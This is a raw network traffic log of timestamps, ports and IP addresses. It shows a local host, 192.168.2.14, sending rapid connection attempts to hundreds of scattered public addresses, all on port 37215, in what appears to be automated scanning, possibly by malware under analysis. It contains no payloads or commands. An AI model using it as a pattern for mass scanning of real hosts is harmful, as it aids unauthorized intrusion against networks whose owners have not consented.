Sep 25, 2024 14:14:14.555839062 CEST	63353	37215	192.168.2.14	41.175.74.45
Sep 25, 2024 14:14:14.555839062 CEST	63353	37215	192.168.2.14	41.92.89.68
Sep 25, 2024 14:14:14.555839062 CEST	63353	37215	192.168.2.14	41.110.28.236
Sep 25, 2024 14:14:14.555839062 CEST	63353	37215	192.168.2.14	156.243.133.45
Sep 25, 2024 14:14:14.555840969 CEST	63353	37215	192.168.2.14	41.11.243.232
Sep 25, 2024 14:14:14.555851936 CEST	63353	37215	192.168.2.14	41.148.141.233
Sep 25, 2024 14:14:14.555851936 CEST	63353	37215	192.168.2.14	197.115.125.237
Sep 25, 2024 14:14:14.555852890 CEST	63353	37215	192.168.2.14	156.204.24.147
Sep 25, 2024 14:14:14.555852890 CEST	63353	37215	192.168.2.14	41.87.253.183
Sep 25, 2024 14:14:14.555859089 CEST	63353	37215	192.168.2.14	41.86.190.203
Sep 25, 2024 14:14:14.555861950 CEST	63353	37215	192.168.2.14	156.81.141.15
Sep 25, 2024 14:14:14.555876970 CEST	63353	37215	192.168.2.14	197.19.239.60
Sep 25, 2024 14:14:14.555881023 CEST	63353	37215	192.168.2.14	197.199.173.165
Sep 25, 2024 14:14:14.555881023 CEST	63353	37215	192.168.2.14	156.155.15.189
Sep 25, 2024 14:14:14.555881977 CEST	63353	37215	192.168.2.14	197.119.79.229
Sep 25, 2024 14:14:14.555881977 CEST	63353	37215	192.168.2.14	41.197.121.75
Sep 25, 2024 14:14:14.555881977 CEST	63353	37215	192.168.2.14	156.190.153.76
Sep 25, 2024 14:14:14.555921078 CEST	63353	37215	192.168.2.14	41.182.49.231
Sep 25, 2024 14:14:14.555932045 CEST	63353	37215	192.168.2.14	156.117.73.249
Sep 25, 2024 14:14:14.555932045 CEST	63353	37215	192.168.2.14	197.102.216.81
Sep 25, 2024 14:14:14.555932045 CEST	63353	37215	192.168.2.14	197.179.18.78
Sep 25, 2024 14:14:14.555933952 CEST	63353	37215	192.168.2.14	197.246.31.27
Sep 25, 2024 14:14:14.555934906 CEST	63353	37215	192.168.2.14	156.52.60.133
Sep 25, 2024 14:14:14.555934906 CEST	63353	37215	192.168.2.14	197.42.59.126
Sep 25, 2024 14:14:14.555948973 CEST	63353	37215	192.168.2.14	156.40.116.109
Sep 25, 2024 14:14:14.555951118 CEST	63353	37215	192.168.2.14	41.223.115.77
Sep 25, 2024 14:14:14.555958033 CEST	63353	37215	192.168.2.14	197.219.64.199
Sep 25, 2024 14:14:14.555964947 CEST	63353	37215	192.168.2.14	41.51.108.66
Sep 25, 2024 14:14:14.555967093 CEST	63353	37215	192.168.2.14	197.3.85.40
Sep 25, 2024 14:14:14.555964947 CEST	63353	37215	192.168.2.14	156.108.86.181
Sep 25, 2024 14:14:14.555968046 CEST	63353	37215	192.168.2.14	197.19.46.142
Sep 25, 2024 14:14:14.555983067 CEST	63353	37215	192.168.2.14	41.73.46.53
Sep 25, 2024 14:14:14.555986881 CEST	63353	37215	192.168.2.14	156.107.140.65
Sep 25, 2024 14:14:14.555991888 CEST	63353	37215	192.168.2.14	41.175.208.57
Sep 25, 2024 14:14:14.556000948 CEST	63353	37215	192.168.2.14	41.180.112.156
Sep 25, 2024 14:14:14.556001902 CEST	63353	37215	192.168.2.14	41.130.108.11
Sep 25, 2024 14:14:14.556037903 CEST	63353	37215	192.168.2.14	156.66.129.62
Sep 25, 2024 14:14:14.556039095 CEST	63353	37215	192.168.2.14	41.84.8.152
Sep 25, 2024 14:14:14.556039095 CEST	63353	37215	192.168.2.14	41.146.126.246
Sep 25, 2024 14:14:14.556050062 CEST	63353	37215	192.168.2.14	41.5.248.0
Sep 25, 2024 14:14:14.556063890 CEST	63353	37215	192.168.2.14	197.89.132.114
Sep 25, 2024 14:14:14.556063890 CEST	63353	37215	192.168.2.14	41.146.233.96
Sep 25, 2024 14:14:14.556082010 CEST	63353	37215	192.168.2.14	156.47.141.7
Sep 25, 2024 14:14:14.556082964 CEST	63353	37215	192.168.2.14	197.141.123.171
Sep 25, 2024 14:14:14.556092978 CEST	63353	37215	192.168.2.14	197.164.156.183
Sep 25, 2024 14:14:14.556096077 CEST	63353	37215	192.168.2.14	197.27.253.18
Sep 25, 2024 14:14:14.556122065 CEST	63353	37215	192.168.2.14	197.134.83.203
Sep 25, 2024 14:14:14.556129932 CEST	63353	37215	192.168.2.14	156.186.163.31
Sep 25, 2024 14:14:14.556129932 CEST	63353	37215	192.168.2.14	197.158.254.136
Sep 25, 2024 14:14:14.556133032 CEST	63353	37215	192.168.2.14	41.167.58.237
Sep 25, 2024 14:14:14.556134939 CEST	63353	37215	192.168.2.14	197.246.213.74
Sep 25, 2024 14:14:14.556142092 CEST	63353	37215	192.168.2.14	156.189.251.93
Sep 25, 2024 14:14:14.556143999 CEST	63353	37215	192.168.2.14	156.102.132.78
Sep 25, 2024 14:14:14.556148052 CEST	63353	37215	192.168.2.14	41.158.16.87
Sep 25, 2024 14:14:14.556154013 CEST	63353	37215	192.168.2.14	41.240.188.147
Sep 25, 2024 14:14:14.556176901 CEST	63353	37215	192.168.2.14	197.17.144.155
Sep 25, 2024 14:14:14.556185007 CEST	63353	37215	192.168.2.14	41.142.64.126
Sep 25, 2024 14:14:14.556188107 CEST	63353	37215	192.168.2.14	197.56.7.34
Sep 25, 2024 14:14:14.556201935 CEST	63353	37215	192.168.2.14	41.223.75.111
Sep 25, 2024 14:14:14.556216002 CEST	63353	37215	192.168.2.14	156.5.10.172
Sep 25, 2024 14:14:14.556216002 CEST	63353	37215	192.168.2.14	197.125.185.226
Sep 25, 2024 14:14:14.556431055 CEST	60004	37215	192.168.2.14	156.114.186.147
Sep 25, 2024 14:14:14.556477070 CEST	60004	37215	192.168.2.14	156.114.186.147
Sep 25, 2024 14:14:14.557171106 CEST	60224	37215	192.168.2.14	156.114.186.147
Sep 25, 2024 14:14:14.558171034 CEST	37370	37215	192.168.2.14	156.228.108.249
Sep 25, 2024 14:14:14.558187008 CEST	37370	37215	192.168.2.14	156.228.108.249
Sep 25, 2024 14:14:14.558826923 CEST	37588	37215	192.168.2.14	156.228.108.249
Sep 25, 2024 14:14:14.559978008 CEST	38346	37215	192.168.2.14	156.62.166.162
Sep 25, 2024 14:14:14.559978008 CEST	38346	37215	192.168.2.14	156.62.166.162
Sep 25, 2024 14:14:14.560453892 CEST	37215	63353	156.180.191.247	192.168.2.14
Sep 25, 2024 14:14:14.560466051 CEST	37215	63353	156.156.122.8	192.168.2.14
Sep 25, 2024 14:14:14.560471058 CEST	37215	63353	197.216.95.131	192.168.2.14
Sep 25, 2024 14:14:14.560476065 CEST	37215	63353	197.145.61.147	192.168.2.14
Sep 25, 2024 14:14:14.560511112 CEST	63353	37215	192.168.2.14	156.156.122.8
Sep 25, 2024 14:14:14.560538054 CEST	63353	37215	192.168.2.14	156.180.191.247
Sep 25, 2024 14:14:14.560539007 CEST	63353	37215	192.168.2.14	197.216.95.131
Sep 25, 2024 14:14:14.560538054 CEST	63353	37215	192.168.2.14	197.145.61.147
Sep 25, 2024 14:14:14.560553074 CEST	37215	63353	41.163.125.164	192.168.2.14
Sep 25, 2024 14:14:14.560564995 CEST	37215	63353	197.57.233.63	192.168.2.14
Sep 25, 2024 14:14:14.560575008 CEST	37215	63353	156.26.49.169	192.168.2.14
Sep 25, 2024 14:14:14.560587883 CEST	37215	63353	156.184.222.237	192.168.2.14
Sep 25, 2024 14:14:14.560595036 CEST	63353	37215	192.168.2.14	41.163.125.164
Sep 25, 2024 14:14:14.560600042 CEST	37215	63353	197.2.184.228	192.168.2.14
Sep 25, 2024 14:14:14.560602903 CEST	63353	37215	192.168.2.14	197.57.233.63
Sep 25, 2024 14:14:14.560602903 CEST	63353	37215	192.168.2.14	156.26.49.169
Sep 25, 2024 14:14:14.560611010 CEST	37215	63353	41.141.77.117	192.168.2.14
Sep 25, 2024 14:14:14.560621023 CEST	37215	63353	197.228.202.221	192.168.2.14
Sep 25, 2024 14:14:14.560630083 CEST	63353	37215	192.168.2.14	197.2.184.228
Sep 25, 2024 14:14:14.560653925 CEST	63353	37215	192.168.2.14	197.228.202.221
Sep 25, 2024 14:14:14.560667038 CEST	63353	37215	192.168.2.14	41.141.77.117
Sep 25, 2024 14:14:14.560667038 CEST	63353	37215	192.168.2.14	156.184.222.237
Sep 25, 2024 14:14:14.560878038 CEST	37215	63353	41.96.40.29	192.168.2.14
Sep 25, 2024 14:14:14.560889006 CEST	37215	63353	156.156.136.242	192.168.2.14
Sep 25, 2024 14:14:14.560899973 CEST	37215	63353	197.23.243.19	192.168.2.14
Sep 25, 2024 14:14:14.560920000 CEST	63353	37215	192.168.2.14	41.96.40.29
Sep 25, 2024 14:14:14.560920000 CEST	63353	37215	192.168.2.14	156.156.136.242
Sep 25, 2024 14:14:14.560925007 CEST	37215	63353	197.96.2.106	192.168.2.14
Sep 25, 2024 14:14:14.560934067 CEST	63353	37215	192.168.2.14	197.23.243.19
Sep 25, 2024 14:14:14.560936928 CEST	37215	63353	156.164.181.71	192.168.2.14
Sep 25, 2024 14:14:14.560946941 CEST	37215	63353	197.212.10.113	192.168.2.14
Sep 25, 2024 14:14:14.560947895 CEST	38568	37215	192.168.2.14	156.62.166.162
Sep 25, 2024 14:14:14.560959101 CEST	37215	63353	197.19.237.243	192.168.2.14
Sep 25, 2024 14:14:14.560966969 CEST	63353	37215	192.168.2.14	197.96.2.106
Sep 25, 2024 14:14:14.560980082 CEST	37215	63353	41.126.181.165	192.168.2.14
Sep 25, 2024 14:14:14.560981035 CEST	63353	37215	192.168.2.14	197.212.10.113
Sep 25, 2024 14:14:14.560992956 CEST	37215	63353	41.18.165.82	192.168.2.14
Sep 25, 2024 14:14:14.560992956 CEST	63353	37215	192.168.2.14	197.19.237.243
Sep 25, 2024 14:14:14.561001062 CEST	63353	37215	192.168.2.14	156.164.181.71
Sep 25, 2024 14:14:14.561003923 CEST	37215	63353	156.234.208.75	192.168.2.14
Sep 25, 2024 14:14:14.561014891 CEST	37215	63353	197.247.57.35	192.168.2.14
Sep 25, 2024 14:14:14.561022997 CEST	63353	37215	192.168.2.14	41.126.181.165
Sep 25, 2024 14:14:14.561026096 CEST	37215	63353	41.85.128.85	192.168.2.14
Sep 25, 2024 14:14:14.561028004 CEST	63353	37215	192.168.2.14	41.18.165.82
Sep 25, 2024 14:14:14.561037064 CEST	37215	63353	156.28.194.154	192.168.2.14
Sep 25, 2024 14:14:14.561039925 CEST	63353	37215	192.168.2.14	156.234.208.75
Sep 25, 2024 14:14:14.561048031 CEST	37215	63353	197.148.124.205	192.168.2.14
Sep 25, 2024 14:14:14.561058998 CEST	37215	63353	197.235.233.186	192.168.2.14
Sep 25, 2024 14:14:14.561065912 CEST	63353	37215	192.168.2.14	156.28.194.154
Sep 25, 2024 14:14:14.561069965 CEST	37215	63353	41.145.42.186	192.168.2.14
Sep 25, 2024 14:14:14.561080933 CEST	37215	63353	41.62.122.41	192.168.2.14
Sep 25, 2024 14:14:14.561089039 CEST	63353	37215	192.168.2.14	197.148.124.205
Sep 25, 2024 14:14:14.561090946 CEST	37215	63353	197.41.238.252	192.168.2.14
Sep 25, 2024 14:14:14.561100960 CEST	37215	63353	41.55.128.202	192.168.2.14
Sep 25, 2024 14:14:14.561101913 CEST	63353	37215	192.168.2.14	41.145.42.186
Sep 25, 2024 14:14:14.561104059 CEST	63353	37215	192.168.2.14	197.235.233.186
Sep 25, 2024 14:14:14.561105013 CEST	63353	37215	192.168.2.14	41.85.128.85
Sep 25, 2024 14:14:14.561105013 CEST	63353	37215	192.168.2.14	41.62.122.41
Sep 25, 2024 14:14:14.561110973 CEST	37215	63353	41.106.169.205	192.168.2.14
Sep 25, 2024 14:14:14.561120987 CEST	63353	37215	192.168.2.14	197.41.238.252
Sep 25, 2024 14:14:14.561121941 CEST	63353	37215	192.168.2.14	197.247.57.35
Sep 25, 2024 14:14:14.561122894 CEST	37215	63353	197.23.54.201	192.168.2.14
Sep 25, 2024 14:14:14.561135054 CEST	63353	37215	192.168.2.14	41.55.128.202
Sep 25, 2024 14:14:14.561136007 CEST	37215	63353	156.239.85.13	192.168.2.14
Sep 25, 2024 14:14:14.561141014 CEST	63353	37215	192.168.2.14	41.106.169.205
Sep 25, 2024 14:14:14.561147928 CEST	37215	63353	41.134.31.59	192.168.2.14
Sep 25, 2024 14:14:14.561153889 CEST	63353	37215	192.168.2.14	197.23.54.201
Sep 25, 2024 14:14:14.561157942 CEST	37215	63353	41.183.91.205	192.168.2.14
Sep 25, 2024 14:14:14.561161995 CEST	63353	37215	192.168.2.14	156.239.85.13
Sep 25, 2024 14:14:14.561167955 CEST	37215	63353	197.216.7.36	192.168.2.14
Sep 25, 2024 14:14:14.561178923 CEST	37215	63353	197.193.239.43	192.168.2.14
Sep 25, 2024 14:14:14.561187983 CEST	63353	37215	192.168.2.14	41.183.91.205
Sep 25, 2024 14:14:14.561188936 CEST	63353	37215	192.168.2.14	41.134.31.59
Sep 25, 2024 14:14:14.561189890 CEST	37215	63353	197.240.172.65	192.168.2.14
Sep 25, 2024 14:14:14.561207056 CEST	63353	37215	192.168.2.14	197.216.7.36
Sep 25, 2024 14:14:14.561207056 CEST	63353	37215	192.168.2.14	197.193.239.43
Sep 25, 2024 14:14:14.561245918 CEST	37215	63353	41.149.228.31	192.168.2.14
Sep 25, 2024 14:14:14.561249018 CEST	63353	37215	192.168.2.14	197.240.172.65
Sep 25, 2024 14:14:14.561256886 CEST	37215	63353	156.218.30.28	192.168.2.14
Sep 25, 2024 14:14:14.561275005 CEST	37215	63353	197.22.82.105	192.168.2.14
Sep 25, 2024 14:14:14.561285019 CEST	37215	63353	197.15.39.142	192.168.2.14
Sep 25, 2024 14:14:14.561290026 CEST	37215	63353	41.231.142.148	192.168.2.14
Sep 25, 2024 14:14:14.561292887 CEST	37215	63353	156.234.28.147	192.168.2.14
Sep 25, 2024 14:14:14.561296940 CEST	37215	63353	41.104.10.243	192.168.2.14
Sep 25, 2024 14:14:14.561312914 CEST	63353	37215	192.168.2.14	41.149.228.31
Sep 25, 2024 14:14:14.561312914 CEST	63353	37215	192.168.2.14	156.218.30.28
Sep 25, 2024 14:14:14.561321974 CEST	63353	37215	192.168.2.14	41.231.142.148
Sep 25, 2024 14:14:14.561330080 CEST	63353	37215	192.168.2.14	197.15.39.142
Sep 25, 2024 14:14:14.561331034 CEST	63353	37215	192.168.2.14	197.22.82.105
Sep 25, 2024 14:14:14.561331034 CEST	63353	37215	192.168.2.14	156.234.28.147
Sep 25, 2024 14:14:14.561366081 CEST	63353	37215	192.168.2.14	41.104.10.243
Sep 25, 2024 14:14:14.561378956 CEST	37215	63353	41.138.93.145	192.168.2.14
Sep 25, 2024 14:14:14.561383009 CEST	37215	63353	197.189.82.238	192.168.2.14
Sep 25, 2024 14:14:14.561388016 CEST	37215	63353	156.202.206.114	192.168.2.14
Sep 25, 2024 14:14:14.561392069 CEST	37215	63353	41.195.216.193	192.168.2.14
Sep 25, 2024 14:14:14.561395884 CEST	37215	63353	41.247.158.84	192.168.2.14
Sep 25, 2024 14:14:14.561400890 CEST	37215	63353	41.239.64.157	192.168.2.14
Sep 25, 2024 14:14:14.561475039 CEST	63353	37215	192.168.2.14	197.189.82.238
Sep 25, 2024 14:14:14.561476946 CEST	63353	37215	192.168.2.14	41.138.93.145
Sep 25, 2024 14:14:14.561479092 CEST	63353	37215	192.168.2.14	41.195.216.193
Sep 25, 2024 14:14:14.561479092 CEST	37215	63353	197.246.32.246	192.168.2.14
Sep 25, 2024 14:14:14.561479092 CEST	63353	37215	192.168.2.14	156.202.206.114
Sep 25, 2024 14:14:14.561479092 CEST	63353	37215	192.168.2.14	41.247.158.84
Sep 25, 2024 14:14:14.561487913 CEST	63353	37215	192.168.2.14	41.239.64.157
Sep 25, 2024 14:14:14.561490059 CEST	37215	63353	197.126.198.86	192.168.2.14
Sep 25, 2024 14:14:14.561501980 CEST	37215	63353	197.129.208.14	192.168.2.14
Sep 25, 2024 14:14:14.561521053 CEST	63353	37215	192.168.2.14	197.246.32.246
Sep 25, 2024 14:14:14.561521053 CEST	63353	37215	192.168.2.14	197.126.198.86
Sep 25, 2024 14:14:14.561532021 CEST	63353	37215	192.168.2.14	197.129.208.14
Sep 25, 2024 14:14:14.561574936 CEST	37215	63353	156.203.125.93	192.168.2.14
Sep 25, 2024 14:14:14.561585903 CEST	37215	63353	197.138.186.66	192.168.2.14
Sep 25, 2024 14:14:14.561594963 CEST	37215	63353	41.214.69.178	192.168.2.14
Sep 25, 2024 14:14:14.561606884 CEST	37215	63353	41.59.164.197	192.168.2.14
Sep 25, 2024 14:14:14.561616898 CEST	37215	63353	156.191.200.81	192.168.2.14
Sep 25, 2024 14:14:14.561619997 CEST	63353	37215	192.168.2.14	197.138.186.66
Sep 25, 2024 14:14:14.561628103 CEST	37215	63353	156.118.30.32	192.168.2.14
Sep 25, 2024 14:14:14.561630011 CEST	63353	37215	192.168.2.14	41.214.69.178
Sep 25, 2024 14:14:14.561630011 CEST	63353	37215	192.168.2.14	156.203.125.93
Sep 25, 2024 14:14:14.561635017 CEST	63353	37215	192.168.2.14	41.59.164.197
Sep 25, 2024 14:14:14.561638117 CEST	37215	63353	156.90.145.103	192.168.2.14
Sep 25, 2024 14:14:14.561647892 CEST	63353	37215	192.168.2.14	156.191.200.81
Sep 25, 2024 14:14:14.561649084 CEST	37215	63353	156.156.225.97	192.168.2.14
Sep 25, 2024 14:14:14.561656952 CEST	37215	63353	41.118.251.13	192.168.2.14
Sep 25, 2024 14:14:14.561659098 CEST	63353	37215	192.168.2.14	156.118.30.32
Sep 25, 2024 14:14:14.561661005 CEST	37215	63353	41.33.63.180	192.168.2.14
Sep 25, 2024 14:14:14.561666965 CEST	37215	63353	156.51.177.129	192.168.2.14
Sep 25, 2024 14:14:14.561671972 CEST	37215	63353	197.27.213.56	192.168.2.14
Sep 25, 2024 14:14:14.561671972 CEST	63353	37215	192.168.2.14	156.90.145.103
Sep 25, 2024 14:14:14.561681986 CEST	63353	37215	192.168.2.14	156.156.225.97
Sep 25, 2024 14:14:14.561692953 CEST	37215	60004	156.114.186.147	192.168.2.14
Sep 25, 2024 14:14:14.561692953 CEST	63353	37215	192.168.2.14	197.27.213.56
Sep 25, 2024 14:14:14.561769962 CEST	63353	37215	192.168.2.14	41.118.251.13
Sep 25, 2024 14:14:14.561773062 CEST	63353	37215	192.168.2.14	41.33.63.180
Sep 25, 2024 14:14:14.561774015 CEST	63353	37215	192.168.2.14	156.51.177.129
Sep 25, 2024 14:14:14.562783957 CEST	54954	37215	192.168.2.14	156.180.191.247
Sep 25, 2024 14:14:14.563225031 CEST	37215	37370	156.228.108.249	192.168.2.14
Sep 25, 2024 14:14:14.564999104 CEST	37215	38346	156.62.166.162	192.168.2.14
Sep 25, 2024 14:14:14.565018892 CEST	42698	37215	192.168.2.14	197.145.61.147
Sep 25, 2024 14:14:14.565856934 CEST	39556	37215	192.168.2.14	156.156.122.8
Sep 25, 2024 14:14:14.566741943 CEST	60204	37215	192.168.2.14	197.216.95.131
Sep 25, 2024 14:14:14.567488909 CEST	38240	37215	192.168.2.14	41.163.125.164
Sep 25, 2024 14:14:14.568362951 CEST	55780	37215	192.168.2.14	197.57.233.63
Sep 25, 2024 14:14:14.569181919 CEST	54734	37215	192.168.2.14	156.26.49.169
Sep 25, 2024 14:14:14.569864035 CEST	37215	42698	197.145.61.147	192.168.2.14
Sep 25, 2024 14:14:14.569905043 CEST	42698	37215	192.168.2.14	197.145.61.147
Sep 25, 2024 14:14:14.569986105 CEST	42290	37215	192.168.2.14	156.184.222.237
Sep 25, 2024 14:14:14.570564985 CEST	38458	37215	192.168.2.14	197.2.184.228
Sep 25, 2024 14:14:14.571141958 CEST	35744	37215	192.168.2.14	41.141.77.117
Sep 25, 2024 14:14:14.571732998 CEST	60372	37215	192.168.2.14	197.228.202.221
Sep 25, 2024 14:14:14.572305918 CEST	49578	37215	192.168.2.14	41.96.40.29
Sep 25, 2024 14:14:14.572854042 CEST	39212	37215	192.168.2.14	156.156.136.242
Sep 25, 2024 14:14:14.573394060 CEST	41182	37215	192.168.2.14	197.23.243.19
Sep 25, 2024 14:14:14.573930979 CEST	41592	37215	192.168.2.14	197.96.2.106
Sep 25, 2024 14:14:14.574307919 CEST	42698	37215	192.168.2.14	197.145.61.147
Sep 25, 2024 14:14:14.574307919 CEST	42698	37215	192.168.2.14	197.145.61.147
Sep 25, 2024 14:14:14.574649096 CEST	42726	37215	192.168.2.14	197.145.61.147
Sep 25, 2024 14:14:14.576765060 CEST	37215	60372	197.228.202.221	192.168.2.14
Sep 25, 2024 14:14:14.576814890 CEST	60372	37215	192.168.2.14	197.228.202.221
Sep 25, 2024 14:14:14.576880932 CEST	60372	37215	192.168.2.14	197.228.202.221
Sep 25, 2024 14:14:14.576880932 CEST	60372	37215	192.168.2.14	197.228.202.221
Sep 25, 2024 14:14:14.577146053 CEST	60384	37215	192.168.2.14	197.228.202.221
Sep 25, 2024 14:14:14.579406023 CEST	37215	42698	197.145.61.147	192.168.2.14
Sep 25, 2024 14:14:14.581794977 CEST	37215	60372	197.228.202.221	192.168.2.14
Sep 25, 2024 14:14:14.582133055 CEST	39366	37215	192.168.2.14	156.101.5.7
Sep 25, 2024 14:14:14.582137108 CEST	56020	37215	192.168.2.14	197.192.88.118
Sep 25, 2024 14:14:14.582139969 CEST	36494	37215	192.168.2.14	156.62.193.26
Sep 25, 2024 14:14:14.582146883 CEST	46648	37215	192.168.2.14	41.46.151.131
Sep 25, 2024 14:14:14.582146883 CEST	53596	37215	192.168.2.14	156.85.107.170
Sep 25, 2024 14:14:14.582149982 CEST	58610	37215	192.168.2.14	156.94.174.92
Sep 25, 2024 14:14:14.582154989 CEST	59260	37215	192.168.2.14	41.187.143.200
Sep 25, 2024 14:14:14.582164049 CEST	35990	37215	192.168.2.14	41.223.187.66
Sep 25, 2024 14:14:14.582164049 CEST	51642	37215	192.168.2.14	197.57.47.6
Sep 25, 2024 14:14:14.582170010 CEST	33328	37215	192.168.2.14	197.10.1.245
Sep 25, 2024 14:14:14.582170010 CEST	45508	37215	192.168.2.14	156.9.75.254
Sep 25, 2024 14:14:14.582195997 CEST	37352	37215	192.168.2.14	197.146.186.227
Sep 25, 2024 14:14:14.582195997 CEST	58114	37215	192.168.2.14	156.83.245.124
Sep 25, 2024 14:14:14.586184025 CEST	37215	35076	41.75.134.209	192.168.2.14
Sep 25, 2024 14:14:14.586230993 CEST	35076	37215	192.168.2.14	41.75.134.209
Sep 25, 2024 14:14:14.602749109 CEST	37215	60004	156.114.186.147	192.168.2.14
Sep 25, 2024 14:14:14.606133938 CEST	37215	38346	156.62.166.162	192.168.2.14
Sep 25, 2024 14:14:14.606143951 CEST	37215	37370	156.228.108.249	192.168.2.14
Sep 25, 2024 14:14:14.614140987 CEST	41814	37215	192.168.2.14	156.136.211.71
Sep 25, 2024 14:14:14.614145041 CEST	53688	37215	192.168.2.14	41.30.40.26
Sep 25, 2024 14:14:14.614154100 CEST	35636	37215	192.168.2.14	41.56.131.61
Sep 25, 2024 14:14:14.614154100 CEST	57388	37215	192.168.2.14	156.242.48.41
Sep 25, 2024 14:14:14.614160061 CEST	51512	37215	192.168.2.14	156.138.33.103
Sep 25, 2024 14:14:14.614161015 CEST	40234	37215	192.168.2.14	41.118.34.153
Sep 25, 2024 14:14:14.614164114 CEST	45242	37215	192.168.2.14	197.222.255.145
Sep 25, 2024 14:14:14.614164114 CEST	55748	37215	192.168.2.14	156.243.96.120
Sep 25, 2024 14:14:14.614164114 CEST	45706	37215	192.168.2.14	197.207.144.177
Sep 25, 2024 14:14:14.614172935 CEST	59964	37215	192.168.2.14	41.162.180.78
Sep 25, 2024 14:14:14.614186049 CEST	48616	37215	192.168.2.14	156.100.83.140
Sep 25, 2024 14:14:14.620137930 CEST	37215	53688	41.30.40.26	192.168.2.14
Sep 25, 2024 14:14:14.620218992 CEST	37215	41814	156.136.211.71	192.168.2.14
Sep 25, 2024 14:14:14.620249987 CEST	37215	35636	41.56.131.61	192.168.2.14
Sep 25, 2024 14:14:14.620254040 CEST	53688	37215	192.168.2.14	41.30.40.26
Sep 25, 2024 14:14:14.620260000 CEST	37215	57388	156.242.48.41	192.168.2.14
Sep 25, 2024 14:14:14.620280027 CEST	41814	37215	192.168.2.14	156.136.211.71
Sep 25, 2024 14:14:14.620287895 CEST	35636	37215	192.168.2.14	41.56.131.61
Sep 25, 2024 14:14:14.620287895 CEST	57388	37215	192.168.2.14	156.242.48.41
Sep 25, 2024 14:14:14.620318890 CEST	53688	37215	192.168.2.14	41.30.40.26
Sep 25, 2024 14:14:14.620332956 CEST	53688	37215	192.168.2.14	41.30.40.26
Sep 25, 2024 14:14:14.620745897 CEST	53890	37215	192.168.2.14	41.30.40.26
Sep 25, 2024 14:14:14.621313095 CEST	41814	37215	192.168.2.14	156.136.211.71
Sep 25, 2024 14:14:14.621314049 CEST	41814	37215	192.168.2.14	156.136.211.71
Sep 25, 2024 14:14:14.621890068 CEST	42008	37215	192.168.2.14	156.136.211.71
Sep 25, 2024 14:14:14.622170925 CEST	57388	37215	192.168.2.14	156.242.48.41
Sep 25, 2024 14:14:14.622170925 CEST	57388	37215	192.168.2.14	156.242.48.41
Sep 25, 2024 14:14:14.622200012 CEST	37215	42698	197.145.61.147	192.168.2.14
Sep 25, 2024 14:14:14.622447014 CEST	57602	37215	192.168.2.14	156.242.48.41
Sep 25, 2024 14:14:14.622772932 CEST	35636	37215	192.168.2.14	41.56.131.61
Sep 25, 2024 14:14:14.622772932 CEST	35636	37215	192.168.2.14	41.56.131.61
Sep 25, 2024 14:14:14.623047113 CEST	35846	37215	192.168.2.14	41.56.131.61
Sep 25, 2024 14:14:14.627377987 CEST	37215	60372	197.228.202.221	192.168.2.14
Sep 25, 2024 14:14:14.627643108 CEST	37215	53688	41.30.40.26	192.168.2.14
Sep 25, 2024 14:14:14.631176949 CEST	37215	41814	156.136.211.71	192.168.2.14
Sep 25, 2024 14:14:14.631840944 CEST	37215	57388	156.242.48.41	192.168.2.14
Sep 25, 2024 14:14:14.631863117 CEST	37215	35636	41.56.131.61	192.168.2.14
Sep 25, 2024 14:14:14.646131039 CEST	59618	37215	192.168.2.14	156.163.166.235
Sep 25, 2024 14:14:14.646135092 CEST	51138	37215	192.168.2.14	156.82.105.217
Sep 25, 2024 14:14:14.646135092 CEST	42708	37215	192.168.2.14	156.51.49.93
Sep 25, 2024 14:14:14.646141052 CEST	59974	37215	192.168.2.14	41.205.120.166
Sep 25, 2024 14:14:14.646146059 CEST	32974	37215	192.168.2.14	41.225.63.239
Sep 25, 2024 14:14:14.646152020 CEST	46892	37215	192.168.2.14	41.196.160.39
Sep 25, 2024 14:14:14.646152020 CEST	49032	37215	192.168.2.14	197.137.43.136
Sep 25, 2024 14:14:14.646156073 CEST	34628	37215	192.168.2.14	156.206.182.162
Sep 25, 2024 14:14:14.646157980 CEST	54028	37215	192.168.2.14	197.111.167.51
Sep 25, 2024 14:14:14.646164894 CEST	39346	37215	192.168.2.14	197.239.217.207
Sep 25, 2024 14:14:14.651097059 CEST	37215	59618	156.163.166.235	192.168.2.14
Sep 25, 2024 14:14:14.651108980 CEST	37215	51138	156.82.105.217	192.168.2.14
Sep 25, 2024 14:14:14.651119947 CEST	37215	42708	156.51.49.93	192.168.2.14
Sep 25, 2024 14:14:14.651177883 CEST	42708	37215	192.168.2.14	156.51.49.93
Sep 25, 2024 14:14:14.651177883 CEST	51138	37215	192.168.2.14	156.82.105.217
Sep 25, 2024 14:14:14.651228905 CEST	59618	37215	192.168.2.14	156.163.166.235
Sep 25, 2024 14:14:14.651263952 CEST	59618	37215	192.168.2.14	156.163.166.235
Sep 25, 2024 14:14:14.651263952 CEST	59618	37215	192.168.2.14	156.163.166.235
Sep 25, 2024 14:14:14.652122021 CEST	59798	37215	192.168.2.14	156.163.166.235
Sep 25, 2024 14:14:14.652725935 CEST	42708	37215	192.168.2.14	156.51.49.93
Sep 25, 2024 14:14:14.652725935 CEST	42708	37215	192.168.2.14	156.51.49.93
Sep 25, 2024 14:14:14.653424978 CEST	42888	37215	192.168.2.14	156.51.49.93
Sep 25, 2024 14:14:14.654119015 CEST	51138	37215	192.168.2.14	156.82.105.217
Sep 25, 2024 14:14:14.654119015 CEST	51138	37215	192.168.2.14	156.82.105.217
Sep 25, 2024 14:14:14.654937983 CEST	51318	37215	192.168.2.14	156.82.105.217
Sep 25, 2024 14:14:14.658508062 CEST	37215	59618	156.163.166.235	192.168.2.14
Sep 25, 2024 14:14:14.658519030 CEST	37215	59798	156.163.166.235	192.168.2.14
Sep 25, 2024 14:14:14.658540010 CEST	37215	42708	156.51.49.93	192.168.2.14
Sep 25, 2024 14:14:14.658579111 CEST	59798	37215	192.168.2.14	156.163.166.235
Sep 25, 2024 14:14:14.658617973 CEST	59798	37215	192.168.2.14	156.163.166.235
Sep 25, 2024 14:14:14.659229994 CEST	37215	51138	156.82.105.217	192.168.2.14
Sep 25, 2024 14:14:14.659405947 CEST	43546	37215	192.168.2.14	41.145.42.186
Sep 25, 2024 14:14:14.666659117 CEST	37215	59798	156.163.166.235	192.168.2.14
Sep 25, 2024 14:14:14.666718006 CEST	59798	37215	192.168.2.14	156.163.166.235
Sep 25, 2024 14:14:14.676590919 CEST	37215	41814	156.136.211.71	192.168.2.14
Sep 25, 2024 14:14:14.676601887 CEST	37215	35636	41.56.131.61	192.168.2.14
Sep 25, 2024 14:14:14.676610947 CEST	37215	57388	156.242.48.41	192.168.2.14
Sep 25, 2024 14:14:14.676620007 CEST	37215	53688	41.30.40.26	192.168.2.14
Sep 25, 2024 14:14:14.678137064 CEST	40640	37215	192.168.2.14	197.213.126.196
